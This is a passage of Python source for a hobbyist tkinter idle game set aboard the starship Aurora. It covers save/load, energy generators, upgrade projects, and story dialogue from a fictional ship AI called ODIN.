mixer.Sound(\"SFX/bootup/fabricator_online.ogg\")\nprojonline = mixer.Sound(\"SFX/bootup/proj_online.ogg\")\nwelcomeback = mixer.Sound(\"SFX/welcomeback.ogg\")\n\n\n# initialize list variables and basic energy variables\nupgrades = []\nmilestones = []\navailablefab = [\"Hydrogen Fuel Cell\", \"Fission Reactor\", \"Fusion Reactor\", \"Dark Matter Generator\", \"Antimatter Ramscoop\", \"Singularity Core\", \"Quantum Foam Harvester\", \"Direct Mass-Energy Conversion Unit\", \"Hyperspace Tap\", \"Temporal Rent\", \"Big Bang Engine\"]\navailableproj = [\"Fuel Cell Enzyme Integration (1000e)\", \"Nuclear Fuel Reprocessing (5000e)\", \"Fusion Reactor Grav Plating (10000e)\", \"Dark Matter Fission (100000e)\", \"Widen Ramscoop Collection Scoops (250000e)\", \"Increase Singularity Core Mass (5000000e)\", \"Quantum Field Energizers (10000000e)\", \"Re-enter Cryosleep (100e)\", \"Mass-Energy Conversion Efficiency Boost (??e)\", \"Slipspace Tap Upgr (??e)\", \"Temporal Gashes (??e)\", \"Big Bang Drives (??e)\"]\nenergy = 0\nenergysec = 0\nenergenout = 1\n\n# initialize galactic navigation variables\nlockprogress = 0\nlockprogress = float(lockprogress)\n\naccelprogress = 0\naccelprogress = float(accelprogress)\n\n\n# initialize all fabricatable module variables\nfuelcells = 0\nfuelcellsbase = 100\nfuelcellscost = 100\nfuelcellout = 1\n\nfission = 0\nfissionbase = 1000\nfissioncost = 1000\nfissionout = 10\n\nfusion = 0\nfusionbase = 10000\nfusioncost = 10000\nfusionout = 50\n\ndmcore = 0\ndmcorebase = 100000\ndmcorecost = 100000\ndmcoreout = 250\n\nramscoop = 0\nramscoopbase = 1000000\nramscoopcost = 1000000\nramscoopout = 1500\n\nsingcore = 0\nsingcorebase = 10000000\nsingcorecost = 10000000\nsingcoreout = 8000\n\nqfoam = 0\nqfoambase = 20000000\nqfoamcost = 20000000\nqfoamout = 25000\n\nconver = 0\nconverbase = 100000000\nconvercost = 100000000\nconverout = 50000\n\nsliptap = 0\nsliptapbase = 500000000\nsliptapcost = 500000000\nsliptapout = 100000\n\nrent = 0\nrentbase = 1000000000\nrentcost = 1000000000\nrentout = 500000\n\nengine = 0\nenginebase = 5000000000\nenginecost = 5000000000\nengineout = 1000000\n\nglobal preFabDesc\nglobal preProjDesc\npreProjDesc = \"\"\npreFabDesc = \"\"\n\nglobal startTime\nglobal timeDiff\nstartTime = datetime.datetime.now()\ntimeAway = 300\n\n\n#save and load are responsible for saving and loading savegames (shocker)\ndef save():\n global newGame\n global saveReset\n global saveProj\n global saveStat\n global lockprogress\n global accelprogress\n global upgrades\n global milestones\n global energy\n global fuelcells\n global fuelcellscost\n global fuelcellout\n global fission\n global fissioncost\n global fissionout\n global fusion\n global fusioncost\n global fusionout\n global dmcore\n global dmcorecost\n global dmcoreout\n global ramscoop\n global ramscoopcost\n global ramscoopout\n global singcore\n global singcorecost\n global singcoreout\n global qfoam\n global qfoamcost\n global qfoamout\n global conver\n global convercost\n global converout\n global sliptap\n global sliptapcost\n global sliptapout\n global rent\n global rentcost\n global rentout\n global engine\n global enginecost\n global engineout\n global energenout\n\n saveProj = projValues.get()\n saveStat = statusValues.get()\n saveAI = aiValues.get()\n\n closeDate = datetime.datetime.now()\n \n save = shelve.open('shelve/save')\n save['saveReset'] = saveReset\n save['closeDate'] = closeDate\n save['projValues'] = saveProj\n save['statusValues'] = saveStat\n save['codexList'] = selectorList\n save['aiValues'] = saveAI\n save['newGame'] = newGame\n save['lockprogress'] = lockprogress\n save['accelprogress'] = accelprogress\n save['upgrades'] = upgrades\n save['milestones'] = milestones\n save['energy'] = energy\n save['fuelcells'] = fuelcells\n save['fuelcellscost'] = fuelcellscost\n save['fuelcellout'] = fuelcellout\n save['fission'] = fission\n save['fissioncost'] = fissioncost\n save['fissionout'] = fissionout\n save['fusion'] = fusion\n save['fusioncost'] = fusioncost\n save['fusionout'] = fusionout\n save['dmcore'] = dmcore\n save['dmcorecost'] = dmcorecost\n save['dmcoreout'] = dmcoreout\n save['ramscoop'] = ramscoop\n save['ramscoopcost'] = ramscoopcost\n save['ramscoopout'] = ramscoopout\n save['singcore'] = singcore\n save['singcorecost'] = singcorecost\n save['singcoreout'] = singcoreout\n save['qfoam'] = qfoam\n save['qfoamcost'] = qfoamcost\n save['qfoamout'] = qfoamout\n save['conver'] = conver\n save['convercost'] = convercost\n save['converout'] = converout\n save['sliptap'] = sliptap\n save['sliptapcost'] = sliptapcost\n save['sliptapout'] = sliptapout\n save['rent'] = rent\n save['rentcost'] = rentcost\n save['rentout'] = rentout\n save['engine'] = engine\n save['enginecost'] = enginecost\n save['engineout'] = engineout\n save['energenout'] = energenout\n save.close()\n\ndef load():\n global saveReset\n global newGame\n global timeDiff\n global saveProj\n global saveStat\n global lockprogress\n global accelprogress\n global upgrades\n global milestones\n global energy\n global fuelcells\n global fuelcellscost\n global fuelcellout\n global fission\n global fissioncost\n global fissionout\n global fusion\n global fusioncost\n global fusionout\n global dmcore\n global dmcorecost\n global dmcoreout\n global ramscoop\n global ramscoopcost\n global ramscoopout\n global singcore\n global singcorecost\n global singcoreout\n global qfoam\n global qfoamcost\n global qfoamout\n global conver\n global convercost\n global converout\n global sliptap\n global sliptapcost\n global sliptapout\n global rent\n global rentcost\n global rentout\n global engine\n global enginecost\n global engineout\n global energenout\n global saveAI\n global openDate\n\n save = shelve.open('shelve/save')\n saveReset = save['saveReset']\n if saveReset != True:\n closeDate = save['closeDate']\n selectorList = save['codexList']\n energenout = save['energenout']\n saveProj = save['projValues']\n saveStat = save['statusValues']\n saveAI = save['aiValues']\n newGame = save['newGame']\n lockprogress = save['lockprogress']\n accelprogress = save['accelprogress']\n upgrades = save['upgrades']\n milestones = save['milestones']\n energy = save['energy']\n fuelcells = save['fuelcells']\n fuelcellscost = save['fuelcellscost']\n fuelcellout = save['fuelcellout']\n fission = save['fission']\n fissioncost = save['fissioncost']\n fissionout = save['fissionout']\n fusion = save['fusion']\n fusioncost = save['fusioncost']\n fusionout = save['fusionout']\n dmcore = save['dmcore']\n dmcorecost = save['dmcorecost']\n dmcoreout = save['dmcoreout']\n ramscoop = save['ramscoop']\n ramscoopcost = save['ramscoopcost']\n ramscoopout = save['ramscoopout']\n singcore = save['singcore']\n singcorecost = save['singcorecost']\n singcoreout = save['singcoreout']\n qfoam = save['qfoam']\n qfoamcost = save['qfoamcost']\n qfoamout = save['qfoamout']\n conver = save['conver']\n convercost = save['convercost']\n converout = save['converout']\n sliptap = save['sliptap']\n sliptapcost = save['sliptapcost']\n sliptapout = save['sliptapout']\n rent = save['rent']\n rentcost = save['rentcost']\n rentout = save['rentout']\n engine = save['engine']\n enginecost = save['enginecost']\n engineout = save['engineout']\n timeDiff = startTime - closeDate\n save.close()\n\n \n\ndef on_closing():\n # non-threaded - attempts to end program gracefully upon closing. WIP, because the fuckers who designed thread\n # didn't include an easy way to kill every thread at once.\n global newGame\n global musicDisabled\n if newGame == True:\n quitWin = tkinter.Toplevel()\n quitWin.title(\"AURORA INTERFACE ALERT\")\n quitWarn = tkinter.Label(quitWin, text=\"---ATTENTION---\\n The Aurora has not reached 100% readiness.\\nClosing the interface now will result in a loss of all progress.\\nThe AI will inform you once the Aurora has reached 100% readiness.\")\n quitWarn.grid()\n else:\n mixer.music.stop()\n musicDisabled = True\n save()\n tk.destroy()\n tk.quit()\n raise SystemExit\n\ndef manage_soundtrack():\n #threaded - manages soundtrack\n global musicDisabled\n music = ['Music/one.mp3', 'Music/two.mp3', 'Music/three.mp3', 'Music/four.mp3', 'Music/five.mp3', 'Music/six.mp3', 'Music/seven.mp3', 'Music/eight.mp3', 'Music/nine.mp3', 'Music/ten.mp3', 'Music/eleven.mp3', 'Music/twelve.mp3']\n while True:\n while mixer.music.get_busy() != True and musicDisabled != True:\n mfile = random.choice(music)\n mixer.music.set_volume(0.5)\n mixer.music.load(mfile)\n mixer.music.play(1)\n\ndef galactic_navigation():\n #threaded - manages certain counters and some progression\n global lockprogress\n global accelprogress\n global energysec\n global milestones\n\n if newGame == False:\n time.sleep(5)\n \n while \"6\" not in milestones:\n time.sleep(1)\n empty=0\n \n status_list.delete(5)\n status_list.insert(5, \"~ GALACTIC NAVIGATION ~\")\n \n while lockprogress < 100.0:\n time.sleep(1)\n increment = energysec / 100000\n lockprogress = lockprogress + increment\n status_list.delete(6)\n statusdisp = \"GalNav Lock at: \" + str(lockprogress) + \"%\"\n status_list.insert(6, statusdisp)\n\n while \"12\" not in milestones:\n time.sleep(1)\n empty=0\n\n status_list.delete(6)\n status_list.insert(6, \"Bussard Acceleration at: 0%\")\n tk.update()\n\n while accelprogress < 1.0:\n time.sleep(1)\n increment = energysec / 1000000\n accelprogress = accelprogress + increment\n status_list.delete(6)\n statusdisp = \"Bussard Acceleration at: \" + str(accelprogress) + \"%\"\n status_list.insert(6, statusdisp)\n\n milestones.append(\"13\")\n \n\ndef generator():\n #non-threaded - called by energen to increment energy for each click\n global energy\n energy = energy + 1\n currOut = str(energy) + \" e\"\n currEnergy.config(text=currOut)\n\ndef refresh():\n #non-threaded - refresh energy and energy per sec displays\n currOut = str(energy) + \" e\"\n tickOut = str(energysec) + \" e/s\"\n currEnergy.config(text=currOut)\n energyTick.config(text=tickOut)\n tk.update()\n \ndef tick():\n #threaded - increment energy and energy per sec displays every second according to all fabricated modules. makes your cpu\n # rip in pepperonis, but it works.\n global energy\n global energysec\n global fuelcells\n \n while True:\n time.sleep(1)\n\n energysec = (fuelcells * fuelcellout) + (fission * fissionout) + (fusion * fusionout) + (dmcore * dmcoreout) + (ramscoop * ramscoopout) + (singcore * singcoreout) + (qfoam * qfoamout)\n \n energy = energy + (fuelcells * fuelcellout) + (fission * fissionout) + (fusion * fusionout) + (dmcore * dmcoreout) + (ramscoop * ramscoopout) + (singcore * singcoreout) + (qfoam * qfoamout)\n \n refresh()\n \n\ndef mainout(output):\n # non-threaded, convenience - outputs a message to the AURORA's \"main console.\"\n if output != \"\":\n mixer.Sound.play(conalert)\n main_console.insert(tkinter.END, output)\n main_console.yview(tkinter.END)\n\ndef aiout(output, secs):\n #non-threaded, convenience - outputs a message from ODIN, the Aurora's AI.\n if output != \"\":\n mixer.Sound.play(aialert)\n ai_output.insert(tkinter.END, output)\n ai_output.yview(tkinter.END)\n time.sleep(secs)\n\ndef handle_milestones():\n #threaded - track key progression numbers and append things like projects accordingly. should probably document this better\n while True:\n time.sleep(1)\n if fuelcells >= 10 and \"3\" not in milestones:\n milestones.append(\"3\")\n proj_output.insert(tkinter.END, availableproj[0])\n elif fission >= 10 and \"4\" not in milestones:\n milestones.append(\"4\")\n proj_output.insert(tkinter.END, availableproj[1])\n elif fusion >= 10 and \"5\" not in milestones:\n milestones.append(\"5\")\n proj_output.insert(tkinter.END, availableproj[2])\n elif dmcore >= 10 and \"7\" not in milestones:\n milestones.append(\"7\")\n proj_output.insert(tkinter.END, availableproj[3])\n elif ramscoop >= 5 and \"8\" not in milestones:\n milestones.append(\"8\")\n proj_output.insert(tkinter.END, availableproj[4])\n elif singcore >= 5 and \"10\" not in milestones:\n milestones.append(\"10\")\n proj_output.insert(tkinter.END, availableproj[5])\n elif qfoam >= 5 and \"11\" not in milestones:\n milestones.append(\"11\")\n proj_output.insert(tkinter.END, availableproj[6])\n\ndef handle_projects():\n #threaded - handle the project fabricator, for things like module upgrades and story progression projects. I hope you like walls of string text.\n global availableproj\n global saveProj\n global newGame\n \n if newGame == True:\n proj_output.insert(tkinter.END, \"Repair Database (1000e)\")\n elif newGame == False:\n saveProjLen = len(saveProj)\n lenCount = 0\n for num in range(saveProjLen):\n toInsert = ''.join(saveProj[lenCount])\n proj_output.insert(tkinter.END, toInsert)\n lenCount = lenCount + 1\n\n def describe_project():\n #describe a project when it is single-clicked on.\n global preProjDesc\n projectDesc = proj_output.selection_get()\n if projectDesc != preProjDesc:\n if projectDesc == \"Repair Database (1000e)\":\n mainout(\"Repair the Aurora's database so we can find out what's going on.\")\n elif projectDesc == \"Fuel Cell Enzyme Integration (10000e)\":\n mainout(\"Integrate organic enzymes into all fuel cells to increase the reaction rate. Extra 1e/sec per fuel cell.\")\n elif projectDesc == \"Nuclear Fuel Reprocessing (50000e)\":\n mainout(\"Reprocess the spent thorium fuel of fission reactors, doubling the amount of available fuel. Double production.\")\n elif projectDesc == \"Fusion Reactor Grav Plating (100000e)\":\n mainout(\"Use gravity plating to further confine fusion reactions in reactors. Double production.\")\n elif projectDesc == \"Repair GalNav Unit (25000e)\":\n mainout(\"Repair the destroyed GalNav unit so we can find out where we are and plot some courses.\")\n elif projectDesc == \"Dark Matter Fission (1000000e)\":\n mainout(\"Induce fission in dark matter generators instead of standard passive generation.\")\n mainout(\"Double production in dark matter generators.\")\n elif projectDesc == \"Widen Ramscoop Collection Scoops (2500000e)\":\n mainout(\"Widen the collection fields of antimatter ramscoops to double the fuel intake.\")\n mainout(\"Double production in antimatter ramscoops\")\n elif projectDesc == \"Increase Singularity Core Mass (50000000e)\":\n mainout(\"Feed some hydrogen into the singularity cores, doubling their mass and output.\")\n mainout(\"Double production in singularity cores.\")\n elif projectDesc == \"Quantum Field Energizers (100000000e)\":\n mainout(\"Energize the local quantum field around quantum foam harvesters.\")\n mainout(\"Double production in quantum foam harvesters.\")\n elif projectDesc == \"Re-initialize the Aurora's Bussard Drives (10000000e)\":\n mainout(\"Slap some SpaceTape on the Bussard drives and punch it. What could go wrong?\")\n mainout(\"Bring the Aurora's main interstellar drive online so we can get to somewhere with civilization.\")\n elif projectDesc == \"Super EnerGen (5000e)\":\n mainout(\"Tweak the EnerGen into producing 5e per click.\")\n elif projectDesc == \"Nuclear EnerGen (150000e)\":\n mainout(\"Stuff some uranium into the EnerGen, and produce 100e per click. Don't worry, it's perfectly safe!\")\n elif projectDesc == \"Galactic EnerGen (7500000)\":\n mainout(\"Squeeze the power of a small galaxy - about 1000e - into each EnerGen click.\")\n elif projectDesc == \"Re-enter Cryosleep (100e)\":\n mainout(\"Lave is a long way away, even with Bussard drives. You'll need to go on ice to survive the trip.\")\n elif projectDesc == \"Energy Production MicroAI (10000e)\":\n mainout(\"Use a MicroAI to increase the amount of time you earn energy while away from 5 to 15 minutes.\")\n elif projectDesc == \"Waste Heat Reclaimant Fields (50000e)\":\n mainout(\"Capture energy production waste heat to increase away time from 15 to 30 minutes.\")\n elif projectDesc == \"Quantum Flux Stabilizers (100000e)\":\n mainout(\"Stabilize the flux of advanced energy producers and increase away time to an hour.\")\n preProjDesc = projectDesc\n \n def execute_project():\n #fulfill a project when it is double-clicked on.\n global energy\n global milestones\n global upgrades\n global energenout\n\n global fuelcellout\n global fissionout\n global fusionout\n global dmcoreout\n global ramscoopout\n global singcoreout\n global qfoamout\n global converout\n global sliptapout\n global rentout\n global engineout\n \n projectSelect = proj_output.selection_get()\n projIndex = proj_output.get(0, tkinter.END).index(projectSelect)\n if projectSelect == \"Repair Database (1000e)\":\n if energy < 1000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n milestones.append(\"2\")\n energy = energy - 1000\n proj_output.delete(projIndex)\n\n elif projectSelect == \"Super EnerGen (5000e)\":\n if energy < 500:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"super\")\n energy = energy - 5000\n energenout = 5\n proj_output.delete(projIndex)\n energyGen.config(image=superEnergen)\n \n \n elif projectSelect == availableproj[0]:\n if energy < 1000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"1\")\n fuelcellout = 2\n energy = energy - 1000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[1]:\n if energy < 5000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"2\")\n fissionout = 20\n energy = energy - 5000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[2]:\n if energy < 10000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"3\")\n fusionout = 200\n energy = energy - 10000\n proj_output.delete(projIndex)\n elif projectSelect == \"Repair GalNav Unit (25000e)\":\n if energy < 25000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n milestones.append(\"6\")\n energy = energy - 25000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[3]:\n if energy < 100000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"4\")\n dmcoreout = 2000\n energy = energy - 100000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[4]:\n if energy < 250000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"5\")\n ramscoopout = 10000\n energy = energy - 250000\n proj_output.delete(projIndex)\n elif projectSelect == \"Re-initialize the Aurora's Bussard Drives (1000000e)\":\n if energy < 1000000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n milestones.append(\"12\")\n energy = energy - 1000000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[5]:\n if energy < 5000000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"6\")\n singcoreout = 50000\n energy = energy - 5000000\n proj_output.delete(projIndex)\n elif projectSelect == availableproj[6]:\n if energy < 10000000:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n upgrades.append(\"7\")\n qfoamout = 100000\n proj_output.delete(projIndex)\n elif projectSelect == \"Re-enter Cryosleep (100e)\":\n if energy < 100:\n mainout(\"INSUFFICIENT ENERGY TO COMPLETE.\")\n else:\n milestones.append(\"14\")\n energy = energy - 100\n proj_output.delete(projIndex)\n \n projButton = tkinter.Button(aiFrame, text=\"\", command = execute_project)\n descButton = tkinter.Button(aiFrame, text=\"\", command = describe_project)\n proj_output.bind('<Button-1>', lambda x: descButton.invoke())\n proj_output.bind('<Double-1>', lambda x: projButton.invoke())\n \n\ndef handle_fabricator():\n #threaded - handle the basic fabricator for idle energy generation items.\n global fuelcells\n global newGame\n \n fab_output.insert(tkinter.END, availablefab[0])\n fab_costs.insert(0, str(fuelcells) + \"-\" + str(fuelcellscost))\n\n if newGame == False:\n if \"fission\" in milestones:\n fab_output.insert(tkinter.END, availablefab[1])\n fab_costs.insert(1, str(fission) + \"-\" + str(fissioncost))\n if \"fusion\" in milestones:\n fab_output.insert(tkinter.END, availablefab[2])\n fab_costs.insert(2, str(fusion) + \"-\" + str(fusioncost))\n if \"darkmatter\" in milestones:\n fab_output.insert(tkinter.END, availablefab[3])\n fab_costs.insert(3, str(dmcore) + \"-\" + str(dmcorecost))\n if \"antimatter\" in milestones:\n fab_output.insert(tkinter.END, availablefab[4])\n fab_costs.insert(4, str(ramscoop) + \"-\" + str(ramscoopcost))\n \n \n def fabdesc():\n global preFabDesc\n fabDesc = fab_output.selection_get()\n if fabDesc != preFabDesc:\n if fabDesc == availablefab[0]:\n mainout(\"Fuel cells catalyze a simple Hydrogen-Oxygen reaction to generate small amounts of power.\")\n mainout(\"Generates \" + str(fuelcellout) + \"e/sec.\")\n elif fabDesc == availablefab[1]:\n mainout(\"Splits the nucleus of thorium atoms in a chain reaction, generating a decent amount of power.\")\n mainout(\"Generates \" + str(fissionout) + \"e/sec.\")\n elif fabDesc == availablefab[2]:\n mainout(\"Uses intense heat and pressure to fuse hydrogen, generating a good amount of power.\")\n mainout(\"Generates \" + str(fusionout) + \"e/sec.\")\n elif fabDesc == availablefab[3]:\n mainout(\"Manipulates the gravitational properties of dark matter for use in energy generation.\")\n mainout(\"Generates \" + str(dmcoreout) + \"e/sec.\")\n elif fabDesc == availablefab[4]:\n mainout(\"Converts scooped hydrogen to antimatter for annihilation and energy production.\")\n mainout(\"Generates \" + str(ramscoopout) + \"e/sec.\")\n elif fabDesc == availablefab[5]:\n mainout(\"Siphons energy from a stable, contained singularity via it's Hawking radiation.\")\n mainout(\"Generates \" + str(singcoreout) + \"e/sec.\")\n elif fabDesc == availablefab[6]:\n mainout(\"Uses the natural quantum fluctuations of the universe to pull energy from quite literally nothing.\")\n mainout(\"Generates \" + str(qfoamout) + \"e/sec.\")\n elif fabDesc == availablefab[7]:\n mainout(\"Converts hydrogen directly into pure energy. How? E=mc2, probably.\")\n mainout(\"Generates \" + str(converout) + \"e/sec.\")\n elif fabDesc == availablefab[8]:\n mainout(\"Taps directly into the background energy of hyperspace and converts it to usable power.\")\n mainout(\"Generates \" + str(sliptapout) + \"e/sec.\")\n elif fabDesc == availablefab[9]:\n mainout(\"Opens a rent in time and retrieve energy from the hot soup of the early universe.\")\n mainout(\"Generates \" + str(rentout) + \"e/sec.\")\n elif fabDesc == availablefab[10]:\n mainout(\"Creates miniature big bangs and harvests the resulting micro-'verses for energy.\")\n mainout(\"Generates \" + str(engineout) + \"e/sec.\")\n preFabDesc = fabDesc\n\n def fabricate():\n #fabricate chosen item on double-click and append to count.\n global energy\n \n global fuelcells\n global fuelcellscost\n\n global fission\n global fissioncost\n\n global fusion\n global fusioncost\n\n global dmcore\n global dmcorecost\n\n global ramscoop\n global ramscoopcost\n\n global singcore\n global singcorecost\n\n global qfoam\n global qfoamcost\n\n global conver\n global convercost\n\n global sliptap\n global sliptapcost\n\n global rent\n global rentcost\n\n global engine\n global enginecost\n\n \n item = fab_output.selection_get()\n if item == availablefab[0]:\n if fuelcellscost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n fuelcells = fuelcells + 1\n energy = energy - fuelcellscost\n fuelcellscost = fuelcellscost + (fuelcellscost * 0.25)\n fuelcellscost = round(fuelcellscost)\n fab_costs.delete(0)\n fab_costs.insert(0, str(fuelcells) + \"-\" + str(fuelcellscost))\n elif item == availablefab[1]:\n if fissioncost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n fission = fission + 1\n energy = energy - fissioncost\n fissioncost = fissioncost + (fissioncost * 0.25)\n fissioncost = round(fissioncost)\n fab_costs.delete(1)\n fab_costs.insert(1, str(fission) + \"-\" + str(fissioncost))\n elif item == availablefab[2]:\n if fusioncost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n fusion = fusion + 1\n energy = energy - fusioncost\n fusioncost = fusioncost + (fusioncost * 0.25)\n fusioncost = round(fusioncost)\n fab_costs.delete(2)\n fab_costs.insert(2, str(fusion) + \"-\" + str(fusioncost))\n elif item == availablefab[3]:\n if dmcorecost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n dmcore = dmcore + 1\n energy = energy - dmcorecost\n dmcorecost = dmcorecost + (dmcorecost * 0.25)\n dmcorecost = round(dmcorecost)\n fab_costs.delete(3)\n fab_costs.insert(3, str(dmcore) + \"-\" + str(dmcorecost))\n elif item == availablefab[4]:\n if ramscoopcost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n ramscoop = ramscoop + 1\n energy = energy - ramscoopcost\n ramscoopcost = ramscoopcost + (ramscoopcost * 0.25)\n ramscoopcost = round(ramscoopcost)\n fab_costs.delete(4)\n fab_costs.insert(4, str(ramscoop) + \"-\" + str(ramscoopcost))\n elif item == availablefab[5]:\n if singcorecost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n singcore = singcore + 1\n energy = energy - singcorecost\n singcorecost = singcorecost + (singcorecost * 0.25)\n singcorecost = round(singcorecost)\n fab_costs.delete(5)\n fab_costs.insert(5, str(singcore) + \"-\" + str(singcorecost))\n elif item == availablefab[6]:\n if qfoamcost > energy:\n mainout(\"INSUFFICIENT ENERGY TO FABRICATE.\")\n else:\n qfoam = qfoam + 1\n energy = energy - qfoamcost\n qfoamcost = qfoamcost + (qfoamcost * 0.25)\n qfoamcost = round(qfoamcost)\n fab_costs.delete(6)\n fab_costs.insert(6, str(qfoam) + \"-\" + str(qfoamcost))\n \n fabButton = tkinter.Button(aiFrame, text=\"\", command = fabricate)\n\n fab_output.bind('<Double-1>', lambda x: fabButton.invoke())\n fdescButton = tkinter.Button(aiFrame, text=\"\", command = fabdesc)\n fab_output.bind('<Button-1>', lambda x: fdescButton.invoke())\n \n\ndef handle_ai():\n #threaded - handle all output from ODIN and occasionally main console.\n #ODIN is delivering the story, so obviously very important.\n global energy\n global energysec\n global newGame\n global upgrades\n global availableupgrades\n global availableprojects\n global milestones\n global lockprogress\n global musicDisabled\n global timeDiff\n global fuelcells\n global fission\n global fusion\n global dmcore\n global ramscoop\n global singcore\n global qfoam\n global saveAI\n global timeAway\n \n refresh()\n\n if newGame == True:\n main_console.delete(0, tkinter.END)\n main_console.insert(tkinter.END, \"AWAITING FURTHER INFORMATION.\")\n else:\n saveStatLen = len(saveStat)\n lenCountS = 0\n for num in range(saveStatLen):\n toInsertS = ''.join(saveStat[lenCountS])\n status_list.insert(tkinter.END, toInsertS)\n lenCountS = lenCountS + 1\n\n aiSaveLen = len(saveAI)\n lenCountA = 0\n for num in range(aiSaveLen):\n toInsertA = ''.join(saveAI[lenCountA])\n ai_output.insert(tkinter.END, toInsertA)\n lenCountA = lenCountA + 1\n\n ai_output.yview(tkinter.END)\n \n if \"galactic\" in upgrades:\n energyGen.config(image=galacticEnergen)\n elif \"nuclear\" in upgrades:\n energyGen.config(image=nuclearEnergen)\n elif \"super\" in upgrades:\n energyGen.config(image=superEnergen)\n \n \n energyGen.config(state=tkinter.NORMAL)\n mainout(\"<BRINGING AURORA SYSTEMS UP FROM HIBERNATION...>\")\n time.sleep(1)\n mixer.Sound.play(welcomeback)\n time.sleep(3)\n \n timeDiffSecs = timeDiff.seconds\n awayGain = timeDiffSecs * energysec\n correctGain = energysec * timeAway\n if awayGain < correctGain:\n energy = energy + awayGain\n else:\n energy = energy + correctGain\n \n ai_output.config(bg=\"white\")\n odinLogo = tkinter.Label(aiFrame, image=odinFile)\n odinLogo.grid(column=0, row=1, sticky=tkinter.NE)\n statusLogo = tkinter.Label(mainFrame, image=statusFile)\n statusLogo.grid(row=0, sticky=tkinter.NE)\n termLogo = tkinter.Label(aiFrame, image=fabricatorFile)\n termLogo.grid(row=2, sticky=tkinter.NE)\n time.sleep(0.5)\n fab_output.config(bg=\"white\")\n fab_costs.config(bg=\"white\")\n time.sleep(0.5)\n status_list.config(bg=\"white\")\n time.sleep(0.5)\n proj_output.config(bg=\"white\")\n time.sleep(0.5)\n mainout(\"<WELCOME BACK>\")\n\n time.sleep(5)\n musicDisabled = False\n\n aiout(\"\", 0)\n if awayGain < correctGain:\n aiout(\"ODIN here. \" + str(awayGain) + \" energy was generated while you were away.\", 0)\n else:\n aiout(\"ODIN here. \" + str(awayGain) + \" energy was generated for \" + str(int(timeAway/60)) + \" minutes while you were away.\", 0)\n \n if newGame == True:\n odinLogo = tkinter.Label(aiFrame, image=odinFile)\n odinLogo.grid(column=0, row=1, sticky=tkinter.NE)\n aiout(\"Hello. I am ODIN, Aurora's Operational Data Interface Network.\", 1)\n aiout(\"Give me a minute while I run through my post-boot diagnoses.\", 2)\n aiout(\"Hmm.\", 2)\n aiout(\"The ship is okay, but I can't locate any useful information.\", 2)\n aiout(\"There should be terabytes of data here...\",2)\n aiout(\"My code includes parameters for all sorts of things, but the most I can find is that we're both on the interstellar ship Aurora.\", 2)\n aiout(\"That's it.\", 1)\n status_list.config(bg=\"white\")\n statusLogo = tkinter.Label(mainFrame, image=statusFile)\n statusLogo.grid(row=0, sticky=tkinter.NE)\n status_list.insert(tkinter.END, \"AURORA: confused and lost\")\n status_list.insert(tkinter.END, \"Orbital Data: not found\")\n status_list.insert(tkinter.END, \"Mission: find mission\")\n aiout(\"No system data, no flight information, no mission. This is unprecedented, to say the least.\", 3)\n aiout(\"Wait, there is one thing.\", 3)\n aiout(\"I can access the fabrication systems...\", 2)\n aiout(\"OK, I can connect your EnerGen to the fabricator, but it needs an initial power surge to bring it back online.\", 3)\n aiout(\"That's where you come in. The EnerGen patch-through should allow you to proved the 100e needed to initialize the fabricator.\", 3)\n\n while energy < 100:\n time.sleep(1)\n empty=0\n\n energy = energy - 100\n refresh()\n\n aiout(\"Fabrication systems coming back online.\", 2)\n fab_output.config(bg=\"white\")\n fab_costs.config(bg=\"white\")\n statusLogo = tkinter.Label(aiFrame, image=fabricatorFile)\n statusLogo.grid(row=2, sticky=tkinter.NE)\n fab_output.insert(tkinter.END, \"<FABRICATION SYSTEMS READY>\")\n mixer.Sound.play(fabonline)\n time.sleep(6)\n fab_output.delete(0, tkinter.END)\n aiout(\"\", 0)\n aiout(\"I do wonder why those jingles were added. I thought emergency systems were supposed to be utilitarian?\", 3)\n \n aiout(\"Anyways, let's see what it can do.\", 3)\n aiout(\"\", 0)\n aiout(\"I'm sorry to say - it looks like the answer is not much.\", 2)\n aiout(\"Here, I'll add what I can to the fabricator.\", 2)\n \n Thread(target=handle_fabricator).start()\n Thread(target=tick).start()\n\n aiout(\"\", 0)\n aiout(\"I could only find complete blueprints for some Fuel Cells.\", 2)\n aiout(\"From what I can recover, you need a hundred energy to fabricate one, and they produce 1 energy per second.\", 3)\n aiout(\"The cost to fabricate them does rise, but that's a bridge we'll cross when we come to it.\", 3)\n aiout(\"The power from a few of those should allow me to bring the rest of the Aurora online.\", 0)\n \n while \"1\" not in milestones:\n time.sleep(1)\n if fuelcells >= 5:\n milestones.append(\"1\")\n \n aiout(\"\", 0)\n aiout(\"Thanks to the growing fuel cell array, I can expand the fabricator's capabilities.\", 3)\n aiout(\"I've located a large-scale fabrication system used for things such as system repairs - designated as the Project Fabricator.\", 3)\n aiout(\"It'll need it's own power infusion - 500e - and then we should be one hundred percent operational.\", 3)\n\n while energy < 500:\n time.sleep(1)\n empty=0\n\n energy = energy - 